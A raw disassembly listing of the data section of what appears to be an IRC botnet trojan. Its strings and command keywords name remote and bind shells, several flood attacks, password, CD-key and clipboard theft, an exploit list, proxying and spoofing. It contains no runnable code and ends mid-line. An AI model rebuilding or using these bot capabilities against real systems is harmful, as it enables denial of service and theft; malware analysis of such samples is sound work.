6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E2o dd 2E7473h unk_42BA64 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42BA9C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2858o dd 2E676Fh dword_42BAB4 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B3o dd 6F666E49h, 2Eh dword_42BAD0 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2784o dd 2E6F666Eh, 0 dword_42BAEC dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+272Fo dd 746F4220h, 2Eh unk_42BB08 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42BB44 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo align 4 unk_42BB68 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42BB88 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o aSearchComplete db '- Search completed.',0 dword_42BBA8 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25ADo dd 2E7325h unk_42BBC0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 10h unk_42BBE0 db 2Dh ; - ; DATA XREF: sub_401ACD+2513o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BC08 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 dword_42BC34 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DEo dd 72616F62h, 2E64h dword_42BC50 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B0o dd 2Dh unk_42BC68 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42BC94 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42BCB8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42BCE4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 10h unk_42BD10 db 2Dh ; - ; DATA XREF: sub_401ACD+2467o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42BD34 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 10h unk_42BD70 db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42BDAC db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BDE8 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o ; sub_40BACD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42BE24 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 10h unk_42BE60 db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo ; sub_40BACD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42BE94 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 4 unk_42BEB4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42BEEC db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42BF28 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o ; sub_401ACD+5BEEo align 10h aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o ; sub_401ACD+5BE7o align 4 unk_42BFA8 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42BFE8 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C024 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co align 10h aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o align 10h aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o align 4 aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFCo align 10h aScanall db 'scanall',0 ; DATA XREF: sub_401ACD+1BE7o dword_42C098 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B97o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o ; sub_401ACD+1BD1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o align 10h aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo align 10h aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o align 4 aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo unk_42C140 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o ; sub_401ACD+3CAFo ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo align 4 unk_42C174 db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o align 10h aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o dword_42C1A8 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Bo dword_42C1BC dd 6F6877h ; DATA XREF: sub_401ACD+193Eo dword_42C1C0 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o dword_42C1CC dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do align 10h aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o align 10h aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo ; sub_401ACD+1804o align 4 aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co align 10h aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do aT: ; DATA XREF: sub_401ACD+1708o ; ___:00437F8Co unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o unk_42C28C db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42C2B4 db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o align 4 aI: ; DATA XREF: sub_401ACD+168Co ; ___:00437F60o unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1677o align 4 aS_0: ; DATA XREF: sub_401ACD+1662o ; ___:00437FDCo unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do align 10h aQ: ; DATA XREF: sub_401ACD+1638o ; ___:off_437BF8o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo align 10h aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o align 4 aR: ; DATA XREF: sub_401ACD+15E4o ; sub_401ACD+3DA8o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o align 4 dword_42C378 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo align 4 dword_42C398 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo align 10h aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o align 4 dword_42C3BC dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo align 10h aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o align 4 dword_42C40C dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo unk_42C454 db 2Dh ; - ; DATA XREF: sub_401ACD+1371o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C488 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o ; sub_401ACD+13D2o dword_42C498 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o ; sub_401ACD+13CDo dword_42C4A8 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o ; sub_401ACD+13A9o dword_42C4B8 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o ; sub_401ACD+13A4o dword_42C4C8 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o ; sub_401ACD+1424o dword_42C4D4 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o ; sub_401ACD+141Fo dword_42C4E0 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao ; sub_401ACD+13FBo dword_42C4EC dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o ; sub_401ACD+13F6o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o align 4 dword_42C504 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao ; sub_401ACD+12F7o dword_42C510 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o ; sub_401ACD+12F2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co align 4 dword_42C528 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o ; sub_401ACD+12D9o dword_42C538 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo ; sub_401ACD+12D4o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o align 4 dword_42C554 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o ; sub_401ACD+1357o dword_42C564 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o ; sub_401ACD+1352o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo align 10h dword_42C580 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo ; sub_401ACD+1279o dword_42C58C dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo ; sub_401ACD+1274o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o dword_42C5A0 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o ; sub_401ACD+125Bo dword_42C5AC dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o ; sub_401ACD+1256o dword_42C5B8 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o dword_42C5C4 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do dword_42C5D4 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo align 4 dword_42C5F4 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o dword_42C600 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o dword_42C614 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo align 10h dword_42C630 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o align 4 dword_42C64C dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo align 4 aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o align 4 dword_42C674 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1052o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do ; sub_401ACD+10B7o ... align 10h aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o align 10h aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao align 10h aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo ; sub_401ACD+2D69o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o ; sub_401ACD+2D58o align 10h aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co align 10h aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o align 10h aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o align 10h aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo align 4 aD: ; DATA XREF: sub_401ACD+EF9o ; ___:00437C24o ... unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o a63 db '63',0 ; DATA XREF: sub_401ACD+D84o align 10h asc_42C720: ; DATA XREF: sub_401ACD+D5Co unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o align 10h aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o align 4 aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o align 10h aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o align 10h aK: ; DATA XREF: sub_401ACD+AA6o ; sub_401ACD+3DD2o ... unicode 0, <k>,0 unk_42C764 db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42C798 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42C7C8 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 10h unk_42C800 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 10h aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 4 unk_42C828 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42C86C db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42C8A8 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42C8C0 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42C8C8 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42C8E4 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42C8F0 dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA7F+1Bo unk_42C8F4 db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 10h dword_42C930 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42C938 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADCo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A72+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A72+16o unk_42C94C db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 10h unk_42C970 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42C9C4 db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBCo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Eo ... align 4 a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177CF:loc_417837o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 4 aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177CF+50o align 10h asc_42CA30: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DADo unicode 0, <!>,0 asc_42CA34: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Co ... unicode 0, < >,0 asc_42CA38 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402601o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o align 10h aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o align 4 aShellexecutea db 